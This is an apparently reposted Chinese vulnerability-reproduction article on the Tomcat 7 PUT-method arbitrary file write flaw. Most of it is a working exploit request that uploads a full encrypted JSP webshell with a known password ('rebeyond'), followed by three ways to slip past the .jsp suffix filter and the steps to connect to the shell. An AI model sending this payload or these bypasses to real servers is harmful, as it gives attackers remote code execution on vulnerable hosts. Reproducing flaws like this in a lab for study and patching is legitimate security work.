tomcat PUT方法任意文件写入--漏洞复现
tomcat PUT方法任意文件写入
poc(webshell密码为rebeyond)
PUT /shell.jsp/ HTTP/1.1
Host: 192.168.139.132:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 572
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*åÆ¥:ޥƕ32Mmd5<•M16M•Ø¤Þ¥Æ•rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
漏洞信息
影响版本:7.0.0 - 7.0.81
漏洞原理:漏洞产生是由于配置不当(非默认配置),将配置文件(conf/web.xml)中的readonly设置为了false,导致可以使用PUT方法上传任意文件,但限制了jsp后缀,不过对于不同平台有多种绕过方法。
对于jsp后缀限制进行绕过
1、windows下不允许文件以空格结尾
PUT x.jsp%20 HTTP1.1
上传windows后悔被自动去掉末尾空格
2、windowsNTFS流
PUT x.jsp::$DATA HTTP/1.1
3、/在文件名中是非法的,也会被去除(linux/windows)
PUT x.jsp/ HTTP1.1
实例演示
jsp后缀被限制
由于服务器是linux所以加/桡过
查看是否上传
webshell连接
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
文章目录